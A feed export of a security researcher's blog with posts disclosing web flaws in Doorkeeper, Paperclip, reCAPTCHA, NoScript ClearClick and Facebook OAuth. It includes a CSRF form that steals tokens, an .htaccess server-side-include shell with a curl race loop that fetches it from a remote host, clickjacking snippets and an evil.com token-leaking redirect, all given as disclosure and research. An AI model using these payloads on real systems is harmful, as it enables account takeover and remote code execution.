tag:blogger.com,1999:blog-85083443815214152352024-02-14T02:25:27.750-08:00Egor HomakovSecurity consulting: <a href="https://sakurity.com">Sakurity</a> Twitter: <a href="http://twitter.com/homakov">@homakov</a>. homakov@gmail.comhomakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.comBlogger66125tag:blogger.com,1999:blog-8508344381521415235.post-4392141265409287552015-02-21T12:30:00.003-08:002016-08-17T17:30:38.312-07:00New blogThis blog is closed, new posts will be published at <a href="http://sakurity.com/blog">http://sakurity.com/blog</a><br />
<br />
Thanks for being with me here for so many years :)homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com0tag:blogger.com,1999:blog-8508344381521415235.post-27938698448014766952014-12-17T02:16:00.002-08:002014-12-17T04:51:38.892-08:00Blatant CSRF in Doorkeeper, most popular OAuth2 gemI read a post about <a href="http://habr.ru/p/246025/">CSRF on DigitalOcean (in Russian)</a> by <a href="https://twitter.com/sergeybelove">Sergey Belove</a>. My first reaction was, obviously, <b>how come</b>? DigitalOcean is not kind of a team that would have lame "skip_before_action :verify_authenticity_token".<br />
<br />
DigitalOcean uses <a href="https://github.com/doorkeeper-gem/doorkeeper/">Doorkeeper</a>, the most popular OAuth Provider library for rails apps and it manages clients, tokens, scopes and validations out of box.<br />
Then I looked into Doorkeeper's commit history... <a href="https://github.com/doorkeeper-gem/doorkeeper/commit/c1b5c45e2c42c0191ca9f12a2836e31ee1a8de57">it turns out Doorkeeper's endpoints <b>never had CSRF protection</b></a>, because they <a href="https://github.com/doorkeeper-gem/doorkeeper/blob/master/app/controllers/doorkeeper/application_controller.rb#L2">inherit directly from ActionController::Base</a>, not ApplicationController.<br />
<br />
Which means any HTML page on the Internet can get your access_token with <b>arbitrary scope (such as "email", "dialogs" or "withdraw_money")</b> from any Doorkeeper-compatible Rails app you are logged in. Example:<br />
<br />
<form action="https://cloud.digitalocean.com/v1/oauth/authorize?response_type=code" method="POST"><br />
<input name="client_id" value="EVIL_APP_ID" /><br />
<input name="redirect_uri" value="http://CALLBACK" /><br />
<input name="scope" value="<b>ANY SCOPE</b>" /><br />
</form><script>document.forms[0].submit()</script><br />
<br />
<h2>
This is a big deal. You must upgrade Doorkeeper NOW.</h2>
<br />
P.S. It's funny that Sergey is not a Rails developer so he simply tried to send a request without authenticity_token. Frankly, I wouldn't try that - Rails has built-in CSRF protection everywhere, why even bother? That's why.<br />
<br />
P.S 2 It's a bit disappointing neither DigitalOcean nor Doorkeeper (Applicake?) team did announce such a severe vulnerability, so I do it for them.homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com8tag:blogger.com,1999:blog-8508344381521415235.post-63764456867810563032014-12-07T05:52:00.002-08:002014-12-09T05:27:58.954-08:00New Paypal gateway UI is a disasterHey. I decided to get a paid plan on Github and Paypal looked like a good payment option to me. <a href="https://github.com/settings/billing/payment">Click the blue button here</a>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-KRUWUdEU0sI/VIRWSnTDKVI/AAAAAAAAD8U/DV6ZxsehtnY/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B5.18.23%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-KRUWUdEU0sI/VIRWSnTDKVI/AAAAAAAAD8U/DV6ZxsehtnY/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B5.18.23%2BPM.png" height="341" width="400" /></a></div>
This looks and feels <b>really good</b>. Lightweight elements, updated color scheme and new logo. Except one thing - how do I know this smooth and lovely popup asking for my Email and password is authorized / belongs to Paypal.com ?<br />
<br />
<table cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td class="td1" valign="top"><div class="p1">
<span class="s1"><a href="https://www.paypal.com/cgi-bin/webscr?cmd=xpt/cps/general/IdentityTheftProtect-outside#respond">"These emails warn you of account problems or other urgent issues to trick you into clicking through to a scam website. <b>The scam website asks you to enter your user name and password</b> or other account information. Once you do this, you've given your information to someone who might use it to do you harm"</a></span></div>
</td>
</tr>
</tbody>
</table>
<br />
There's <b>no way to detect</b> if the iframe is located on paypal.com or WeWantYourPassword.com. The best you can do (if you're into webdev) is to fire up your developer console<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-hJMQYpc_Ahw/VIRYSSCmMkI/AAAAAAAAD8g/gyWhf17gwRc/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B8.37.35%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-hJMQYpc_Ahw/VIRYSSCmMkI/AAAAAAAAD8g/gyWhf17gwRc/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B8.37.35%2BPM.png" height="72" width="320" /></a></div>
But as long as the attacker can detect <a href="https://github.com/sindresorhus/devtools-detect">when the user opens devtools</a> all your efforts are futile.<br />
<br />
This seamlessly looking UI is <b>a major step back</b> - we've been teaching users to trust in the address bar and nothing else, for 20 years! After a couple of successful payments with such fancy gateways they will stop caring about basic security measures.<br />
<br />
<a href="https://www.paypal.com/webapps/mpp/security/report-problem">I created a ticket here about spoofing attempt</a>. Because I really don't want to type my Paypal password while I'm on Github.com. How do I know Github wasn't hacked or something?<br />
<br />
Some good news though: the Coinbase gateway had the exact issue a year ago but now they open sign-in page in a new window. Kudos!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-eEGsy3VTMwU/VIRaVY9jdYI/AAAAAAAAD8s/3cQI_4dfF8A/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B8.46.37%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-eEGsy3VTMwU/VIRaVY9jdYI/AAAAAAAAD8s/3cQI_4dfF8A/s1600/Screen%2BShot%2B2014-12-07%2Bat%2B8.46.37%2BPM.png" height="308" width="320" /></a></div>
homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com12tag:blogger.com,1999:blog-8508344381521415235.post-5182772552161611002014-12-04T03:52:00.000-08:002014-12-04T04:11:31.910-08:00The No CAPTCHA problemWhen I read about No CAPTCHA for the first time I was really excited. Did we finally find a better solution? Hashcash? Or what?<br />
<br />
<a href="http://googleonlinesecurity.blogspot.com/2014/12/are-you-robot-introducing-no-captcha.html">Finally it's available</a> and the blog post disappointed me a bit. Here's <a href="https://wordpress.org/support/register.php">Wordpress registration</a> page successfully using No CAPTCHA.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-_nvkyuDS_VM/VIA9KjpfQsI/AAAAAAAAD68/J9ZcM0LLiBs/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B5.48.17%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-_nvkyuDS_VM/VIA9KjpfQsI/AAAAAAAAD68/J9ZcM0LLiBs/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B5.48.17%2BPM.png" height="84" width="320" /></a></div>
<br />
Now let's open it in incognito tab... Wait, annoying CAPTCHA again? But i'm a human!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-BhNDiJybClg/VIA_DV7N5GI/AAAAAAAAD7I/ipm-lBGL-A4/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.00.45%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-BhNDiJybClg/VIA_DV7N5GI/AAAAAAAAD7I/ipm-lBGL-A4/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.00.45%2BPM.png" height="235" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
So what Google is trying to sell us as a comprehensive bot detecting algorithm is simply <b>a whitelist</b> based on your previous online behavior, CAPTCHAs you solved. Essentially - your cookies. Under the hood they replaced challenge/response pairs with token "g-recaptcha-response". Good guys get it "for free", bad guys still have to solve a challenge.<br />
<br />
Does it make bot's job harder? <b>No at all</b>. The legacy flow is still available and old OCR bots can keep recognizing.<br />
<br />
But what about new "find a similar image" challenges? Bots can't do that!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-u4LNozwmVO4/VIBC0zqiDVI/AAAAAAAAD7c/VPawOlem3a8/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.16.57%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-u4LNozwmVO4/VIBC0zqiDVI/AAAAAAAAD7c/VPawOlem3a8/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.16.57%2BPM.png" height="320" width="194" /></a></div>
As long as $1 per hour is ok for many people in 3rd world, bots won't need to solve new challenges. No matter how complex they are, bots simply need to get the JS code of challenge, show it to another human being (working for cheap or just a visitor on popular websites) and use the answer that human provided.<br />
<br />
<b>The thing is No CAPTCHA actually introduces a new weakness!</b><br />
<br />
Abusing clickjacking we can make the user (a good guy) generate g-recaptcha-response for us - <a href="http://homakov.github.io/nocaptcha.html">make a click (demo bot for wordpress)</a>. Then we can use this g-recaptcha-response to make a valid request to the victim (from our server or from user's browser).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5uvzzK57FLs/VIBLaS6xAUI/AAAAAAAAD74/dN1gTJ4_7T8/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.53.57%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-5uvzzK57FLs/VIBLaS6xAUI/AAAAAAAAD74/dN1gTJ4_7T8/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B6.53.57%2BPM.png" height="136" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
It's pretty much a serious weakness of new reCAPTCHA - instead of making <b>everyone recognize those images</b> we can make a bunch of good "trustworthy" users generate g-recaptcha-response-s for us. Bot's job just got easier!<br />
<br />
You're probably surprised, how can we use 3rd party data-sitekey on our website?<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-h-CGZixR1BU/VIBPSY3cHBI/AAAAAAAAD8A/l8YwmRIroLg/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B7.10.07%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-h-CGZixR1BU/VIBPSY3cHBI/AAAAAAAAD8A/l8YwmRIroLg/s1600/Screen%2BShot%2B2014-12-04%2Bat%2B7.10.07%2BPM.png" height="99" width="320" /></a></div>
Don't be - the Referrer-based protection was pretty easy to bypass with <meta name="referrer" content="never">.<br />
<br />
P.S. Many developers still think you need to wait a while to get a new challenge.<br />
<blockquote class="twitter-tweet" lang="en">
<a href="https://twitter.com/homakov">@homakov</a> I've used them in the past, accuracy is about 80% and response time about 10 seconds per attempt. Still too slow for some attacks.<br />
— Stephen de Vries (@stephendv) <a href="https://twitter.com/stephendv/status/540455692952682496">December 4, 2014</a></blockquote>
In fact <a href="http://homakov.blogspot.com/2013/05/the-recaptcha-problem.html">you can prepare as many challenges</a> as you want and then start spaming later. It's another reCAPTCHA weakness that will never be fixed.homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com13tag:blogger.com,1999:blog-8508344381521415235.post-86904000778445539492014-11-30T05:27:00.000-08:002014-11-30T06:04:23.958-08:00Hacking file uploaders with race condition<b>TL;DR</b> I use a race condition to upload two avatars at the same time to exploit another Paperclip bug and get remote code execution on Apache+Rails stacks. I believe many file uploaders are vulnerable to this. It's fun, go ahead!<br />
<br />
10 months ago I wrote about <a href="http://homakov.blogspot.com/2014/02/paperclip-vulnerability-leading-to-xss.html">a simple but powerful bug in Paperclip <=3.5.3</a> (we can upload a file with arbitrary extension by spoofing Content-Type header).<br />
Thoughtbot mentioned this problem on their blog in quite a misleading way - <a href="http://robots.thoughtbot.com/prevent-spoofing-with-paperclip">"a slight problem"</a>.<br />
<br />
Considering it as an XSS only - yes, a slight problem. But as I said before we can get a code execution with it. Now when hopefully all your systems are patched I will try to explain an interesting attack scenario for Apache+Rails stacks.<br />
<br />
<h3>
.htaccess as a shell</h3>
<br />
Most likely .php/.pl are not executed by default because you are using Rails. But I bet you know about .htaccess file which can override Apache settings. And by default Apache 2.3.8 and earlier had <a href="http://httpd.apache.org/docs/2.4/mod/core.html#allowoverride">AllowOverride All</a> making the server respect .htaccess directives.<br />
<br />
At first I was trying to create a self-containing .htaccess shell but for some reason it doesn't work anymore. Apache doesn't apply SSI processor to .htaccess itself but does to %name%.htaccess:<br />
<br />
<Files ~ "^\.ht"><br />
Require all granted<br />
# Order allow,deny<br />
# Allow from all<br />
</Files><br />
<br />
Options +Includes<br />
AddType text/html .htaccess<br />
AddOutputFilter INCLUDES .htaccess<br />
AddType text/html .shtml<br />
AddOutputFilter INCLUDES .shtml<br />
<br />
#<!--#printenv --><br />
<br />
This means we need to create <b>two files (</b>upload two avatars)<b> - </b>.htaccess and 1.htaccess - and they must exist at the same time. Impossible? No, welcome to the world of concurrency!<br />
<br />
<h3>
<b>The core flaw of file upload systems.</b></h3>
While I was doing a research on race conditions I noticed that every file uploader is basically a <b>voucher system</b>. Once user is registered he has a "voucher" to upload one avatar. When the upload is done the previous avatar gets deleted. But the majority of such systems don't create a <a href="http://en.wikipedia.org/wiki/Critical_section">critical section</a> carefully which let's us upload two or more avatars at the same time.<br />
<br />
Given current_avatar is 0.jpg we are making, say, 5 simultaneous requests with filenames 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg<br />
<br />
Each of them will put %num%.jpg in the /uploads/user/%id% folder and try to delete the previous avatar (something like <b>File.rm current_user.current_avatar</b>) which is still 0.jpg. The last executed request will change current_avatar to 5.jpg (can be 1-4.jpg as well, it's random) in the database.<br />
<br />
Eventually the folder with user avatars will contain 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg and first four will never be deleted. This can be used to waste disk space of the victim :)<br />
<br />
<h3>
<b>Exploitation steps</b></h3>
1. Prepare a URL delivering .htaccess payload. Or just use mine http://sakurity.com/.htaccess and http://sakurity.com/NUM.htaccess<br />
2. Create a few simultaneous avatar uploading requests with your preferred tool. If you like curl: this will send five 1..5.htaccess uploads and five .htaccess uploads (just to have more chances for .htaccess)<br />
<br />
for i in {1..5};<br />
do<br />
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=<b>http%3A%2F%2Fsakurity.com%2F'"$i"'.htaccess</b>' &<br />
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=<b>http%3A%2F%2Fsakurity.com%2F.htaccess</b>' &<br />
done<br />
<div>
<br /></div>
The folder with uploads will look like this. Not all requests "made it", because I created just 8 workers (<b>puma -w 8</b>)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-XsGfHvCw0AE/VHsYbZ_oOMI/AAAAAAAAD6U/MeinCiD5-1A/s1600/Screen%2BShot%2B2014-11-30%2Bat%2B8.03.16%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-XsGfHvCw0AE/VHsYbZ_oOMI/AAAAAAAAD6U/MeinCiD5-1A/s1600/Screen%2BShot%2B2014-11-30%2Bat%2B8.03.16%2BPM.png" height="182" width="400" /></a></div>
Shell is available at http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-QP8k3ZBCR5k/VHsZWKgzsSI/AAAAAAAAD6g/eZ3JcW-qBLw/s1600/Screen%2BShot%2B2014-11-30%2Bat%2B8.18.31%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-QP8k3ZBCR5k/VHsZWKgzsSI/AAAAAAAAD6g/eZ3JcW-qBLw/s1600/Screen%2BShot%2B2014-11-30%2Bat%2B8.18.31%2BPM.png" height="63" width="400" /></a></div>
<br />
P.S. Post "Wonders of Race Conditions" is coming soon. From basic hacking of account balances to bypassing "you have 5 more login attempts" and file upload systems. Concurrency is fun!homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com0tag:blogger.com,1999:blog-8508344381521415235.post-36494104943917672832014-09-02T14:25:00.002-07:002014-09-02T15:02:18.258-07:00Bypassing ClearClick and X-Frame-Options:VisibleI bet, you know what <a href="http://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a> (CJ) is. Old problem everybody's tired of hearing of.<br />
<br />
There are three types of web pages.<br />
<br />
<ol>
<li>Don't need to be shown in iframes but have no X-Frame-Options. Basically 99% or more of pages, CJ only exist due to poor design of web which made framing of cross domain pages possible without their consent...</li>
<li>A little bit later people created X-Frame-Options header which modern websites use to prevent CJ.</li>
<li>But there is another kind of pages - widgets. They <b>do need</b> to be shown in iframes but they<b> never want</b> to have opacity=0 or be UI-redressed.</li>
</ol>
<br />
To this particular problem, "likejacking", there is no solution and nobody is really planning to do anything about it.<br />
<br />
Recently I created the <a href="http://sakurity.com/profiledetector">Detector platform</a> which can be used to leak visitor's identity and his profile URL. The most expected reply was "Look, Clearclick blocks it". This is a quote about ClearClick:<br />
<blockquote class="tr_bq">
<span style="background-color: white; color: #252525; font-family: sans-serif; font-size: 18px; line-height: 28px;">NoScript's ClearClick is "the only freely available product that offers a reasonable degree of protection" against Clickjacking</span></blockquote>
Yes and no: Yes it's the only available product but No, degree of protection is not so reasonable.<br />
<br />
For starters it doesn't prevent any UI redressing attacks, attackers can abuse your avatar and name easily. It only tries to prevent CJ, but here are some tricks to bypass it too.<br />
<br />
<b>Trick 1. Set opacity=1 before the click.</b><br />
<br />
We don't know when exactly user is going to click but making the iframe visible 200-400 ms after the cursor was moved to the right position is a good chance to bypass Clearclick. Obvious, more or less reliable.<br />
<br />
<b>Trick 2. Put the target area in the top left corner.</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Diwk4YjUJ-I/VAYwiA0NhBI/AAAAAAAAD2E/u4o_cjizsmU/s1600/Screen%2BShot%2B2014-09-02%2Bat%2B10.26.21%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Diwk4YjUJ-I/VAYwiA0NhBI/AAAAAAAAD2E/u4o_cjizsmU/s1600/Screen%2BShot%2B2014-09-02%2Bat%2B10.26.21%2BPM.png" height="320" width="193" /></a><a href="http://2.bp.blogspot.com/-WQ8Y7vx1Xdg/VAYwBsmyLhI/AAAAAAAAD18/umF0LhV2zwc/s1600/Screen%2BShot%2B2014-09-02%2Bat%2B10.27.15%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-WQ8Y7vx1Xdg/VAYwBsmyLhI/AAAAAAAAD18/umF0LhV2zwc/s1600/Screen%2BShot%2B2014-09-02%2Bat%2B10.27.15%2BPM.png" /></a></div>
<br />
There's a weird bug in NoScript: when it snapshots your screen it includes the area beyond top left corner. Which means you can leave tiny but visible (opacity=1) click-able area in the top left corner and trick user into clicking that small link/button.<br />
<br />
<b>Trick 3. Double click.</b><br />
<br />
Doubleclicks are rare on the Internet. But don't be afraid to ask visitors to make a doubleclick. Add a transparent div to catch the first click, then hide it and set target iframe's opacity to 1, 500 ms later hide the iframe too.<br />
<br />
<div style="width:100%;height:100%;left:-30px;top:-30px;position:absolute;opacity:0;" onclick="this.style.display='none';li.style.opacity='1';"></div><br />
<div>
<br /></div>
Simple and reliable bypass of Clearclick:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/--irHMAaiG4g/VAYxEIGtVMI/AAAAAAAAD2M/OO5G4YaZ74w/s1600/Untitled.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/--irHMAaiG4g/VAYxEIGtVMI/AAAAAAAAD2M/OO5G4YaZ74w/s1600/Untitled.gif" /></a></div>
What I'm trying to say here, Clearclick is a great tool to prevent basic clickjacking but it's neither widely used nor perfect.<br />
<br />
Cannot we fix the "likejacking" problem in browsers by adding X-Frame-Options:Visible option making the page always 100% visible (opacity=1; z-index=always on top)? I know, web standards used to be very reluctant to proposals, but taking into account Content Security Policy, can we do something about it too?homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com2tag:blogger.com,1999:blog-8508344381521415235.post-28316000577171003152014-07-22T07:13:00.003-07:002014-07-22T07:19:20.373-07:00Timing attack, 6.66% fasterPersonally I'm not a big fan of <a href="http://en.wikipedia.org/wiki/Timing_attack">timing attack</a> as I believe they are impractical for web apps (while perfectly useful in other fields). To make them useful you need to reduce latency and put your script just in front of the victim's server, send zillions of requests (which will most likely be blocked & investigated) and even if everything seems to go smoothly your script might have chosen a wrong character and you're going "dead way" - you never know. And obviously it's even less useful against black box apps.<br />
<br />
As long as it is a real attack nobody cares about my opinion - <b>it is a vulnerability</b>. But I recently realized all timing attack scripts I saw in the blog posts can be <b>a little bit more efficient</b>.<br />
<br />
I have no idea if this is a known tactic, but if it is why don't we use it every time we write about Frightful Timing Attack?<br />
<br />
Given, somewhere on the server side there's hash == params[:hash] comparison and hash is e.g. <b>123234</b>.<br />
Strategy we see most of the time:<br />
Probe 000000 N times<br />
<div>
<div>
Probe 100000 N times</div>
</div>
<div>
<div>
Probe 200000 N times</div>
</div>
<div>
<div>
Probe 300000 N times</div>
</div>
<div>
...</div>
<div>
Probe 900000 N times</div>
<div>
<br /></div>
Then find the slowest one. Those starting with wrong character will essentially execute just one operation String1[0] == String2[0] and then fail. But the string with right one (<b>1</b>00000) will have 1 more operation String1[1] == String2[1], making the average timing significantly longer.<br />
<br />
<i>The idea is to go deeper. </i><br />
<br class="Apple-interchange-newline" />
Tree #1, N=100 checks<br />
Probe 000000<br />
<div>
Probe 001000</div>
<div>
Probe 002000</div>
<div>
...</div>
<div>
Probe 010000</div>
<div>
Probe 011000</div>
<div>
Probe 012000</div>
<div>
...</div>
<div>
Probe 098000</div>
<div>
Probe 099000</div>
<div>
<br class="Apple-interchange-newline" />
Tree #2, N=100 checks<br />
Probe <b>10</b>0000<br />
<div>
Probe <b>10</b>1000</div>
<div>
Probe <b>10</b>2000</div>
<div>
...</div>
<div>
Probe <b>120</b>000</div>
<div>
<div>
Probe <b>121</b>000</div>
<div>
</div>
<div>
Probe <b>122</b>000</div>
<div>
</div>
Probe <b>1230</b>00</div>
<div>
...</div>
</div>
<br />
As you can see the second tree will have not just usual +N operations, but extra +N/A for all 12***** and +N/A^2 for 123***, where A is Alphabet length (10 for 0-9 digits, 16 for 0-9a-f).<br />
<br />
In our example we will have 211 operations in the tree starting with "1" and regular 100 operations in others, making it 11% easier to distinguish which pattern is the right one. We can go even deeper and never probe the pattern we checked before but it looks like only first two chars have a significant impact on performance, next N/A^3 and N/A^4 will not make it much better: 11.11...%<br />
<br />
The other perk of this technique is when you are starting to probe next character you don't need to repeat the job you've done already (probing 10*000, 11*000, 12*000, and others ending with 000), which makes your job 1/A easier (10% less requests).<br />
<br />
For hexadecimal values A=16 successful tree is 6.66..% easier to detect and attack is 6.25% faster.<br />
<br />
I believe there are better timing tricks, will appreciate if you can share a link!homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com7tag:blogger.com,1999:blog-8508344381521415235.post-29998550795983794592014-05-02T12:11:00.006-07:002014-05-02T12:40:19.810-07:00Covert Redirect FAQHey, so called <a href="http://mashable.com/2014/05/02/oauth-openid-not-new-heartbleed/#:eyJzIjoidCIsImkiOiIxMTQyNzQ2ODc5NTY3OTE1ODE5MjMifQ">covert redirect</a> was all over the news today. I was asked by <a href="https://auth0.com/">our client Auth0</a> if everything is ok with them - they are alright, because their middleware cannot be used as an open redirector.<br />
After seeing tons of tweets I decided to stop the panic and publish a short FAQ.<br />
<br />
<b>How does it work?</b><br />
First of all it is a known Facebook Connect bug, other providers are not vulnerable (author claims they are?), because Connect allows you to replace response_type and redirect_uri with new values.<br />
<br />
Let's change redirect_uri to some open redirector on the client's domain (we need to find it first, if there's no open redirect client is not vulnerable!) - <b>CLIENT/redirect_me?url=http://evil.com</b><br />
and response_type to "token". Crafted URL is:<br />
<br />
facebook.com/oauth?redirect_uri=CLIENT%2Fredirect_me%3Furl%3Dhttp%3A%2F%2Fevil.com&response_type=token&client_id=1<br />
<br />
Facebook redirects user to CLIENT/redirect_me?url=http://evil.com#access_token=123, CLIENT redirects user with 302 redirect to evil.com but browser <b>preserves #fragment</b> and loads http://evil.com/#access_token=123. (didn't know/expect it? welcome to web security! <a href="http://sakurity.com/triple?to=http://ya.ru#access_token=123">test it here</a>):<br />
<br />
Now location.hash can be sliced with Javascript, look at my malicious test page at <a href="http://homakov.github.io/fbleak.html">http://homakov.github.io/fbleak.html</a><br />
<br />
<b>Is it a new bug?</b><br />
Unfortunately, even being a real threat (quite poorly explained, but I'm not the one to judge) this is nothing new.<br />
<br />
I wrote about it in Feb 2013 (<a href="http://homakov.blogspot.com/2013/02/hacking-facebook-with-oauth2-and-chrome.html">hacking FB with oauth bugs</a> "<span style="background-color: white; color: #444444; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.333333015441895px; line-height: 12.133334159851074px;">We used 2 bugs: </span><b style="background-color: white; color: #444444; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.333333015441895px; line-height: 12.133334159851074px;">dynamic redirect_uri and dynamic response_type parameter"</b>) then <a href="http://homakov.blogspot.com/2013/03/oauth1-oauth2-oauth.html">in my rants on OAuth2 future</a> (+ FB>other-provider>client exploits) then mentioned how it can be used<a href="http://homakov.blogspot.com/2014/01/two-severe-wontfix-vulnerabilities-in.html"> to steal signed_request</a> (<b>which is a 10 times worse vulnerability than this one</b>), called it <a href="http://homakov.blogspot.com/2013/03/redirecturi-is-achilles-heel-of-oauth.html">Achilles Heel of OAuth</a>, and bunch of other authorization related posts.<br />
<br />
Anyway, I'm glad the old problem gets huge attention again and even a logo (wait what?).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-U0ejI-vJjJc/U2Pyc6_hY7I/AAAAAAAADsM/WGDAQBFNeC4/s1600/covert_redirect_logo_tetraph-640x640+(1).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-U0ejI-vJjJc/U2Pyc6_hY7I/AAAAAAAADsM/WGDAQBFNeC4/s1600/covert_redirect_logo_tetraph-640x640+(1).jpg" height="200" width="200" /></a></div>
<br />
<br />
<b>Is it going to be fixed?</b><br />
Since it's nothing new, and Facebook refused to fix flexible redirect_uri long time ago, no, it is not going to be fixed. All you can do is to whitelist redirect_uri in the Advanced tab of your client settings:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-gUuXr1_G5HA/U2PsbZto1CI/AAAAAAAADr8/Vaj3sWfKBnM/s1600/Screen+Shot+2014-05-02+at+3.04.10+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-gUuXr1_G5HA/U2PsbZto1CI/AAAAAAAADr8/Vaj3sWfKBnM/s1600/Screen+Shot+2014-05-02+at+3.04.10+PM.png" height="72" width="640" /></a></div>
<br />
<br />
<b><br /></b>homakovhttp://www.blogger.com/profile/10492045246792330280noreply@blogger.com6tag:blogger.com,1999:blog-8508344381521415235.post-77150905678859275532014-02-07T22:13:00.000-08:002014-02-07T22:47:23.660-08:00Paperclip vulnerability leading to XSS or RCE.<a href="https://github.com/thoughtbot/paperclip">Paperclip</a> is the most popular upload tool for Ruby on Rails, and I found a way to upload a file with arbitrary extension, which can lead to XSS (file.html) or RCE (file.php/file.pl/file.cgi).<br />
<br />
By default Paperclip allows all types of files, and I believe it's a vulnerability on its own, "insecure-by-default". Developer is supposed to write <b>validates_attachment :avatar, :content_type => { :content_type => "image/jpg" } </b>and even <a href="https://github.com/thoughtbot/paperclip_demo/pull/21">paperclip_demo was misconfigured</a>.<br />
<br />
<a href="https://github.com/thoughtbot/paperclip/blob/master/lib/paperclip/io_adapters/uri_adapter.rb#L25">io_adapters/uri_adapter.rb</a> looked like an interesting file. It's a built-in adapter to download a remote file from user-supplied URL. When Paperclip downloads a remote file it validates the Content-Type header instead of the actual file extension:<br />
@original_filename = @target.path.split("/").last<br />
@original_filename ||= "index.html"<br />
self.original_filename = @original_filename.strip<br />
<br />
<b>@content_type = @content.content_type</b> if @content.respond_to?(:content_type)<br />
@content_type ||= "text/html"<br />
<br />
I crafted special URL <a href="http://www.sakurity.com/img.jpg.htm">http://www.sakurity.com/img.jpg.htm</a> serving a JPEG file with content-type = image/jpg, but having .htm extension in the path: (also it serves http://www.sakurity.com/<b>.</b> http://www.sakurity.com/<b>.. </b>- might be useful<b>)</b><br />
<b><br /></b>
Paperclip thinks the file we supplied with URL is an image and saves it with original filename (file.jpg.<b>htm</b>). Furthermore, to make Paperclip download your remote file no configuration is required! Just remove type="file" from <input>. <strike>Omakase</strike> <a href="http://homakov.blogspot.com/2013/01/rails-is-fragile-vulnerabilities-will.html">Rails Magic</a>.<br />
<br />
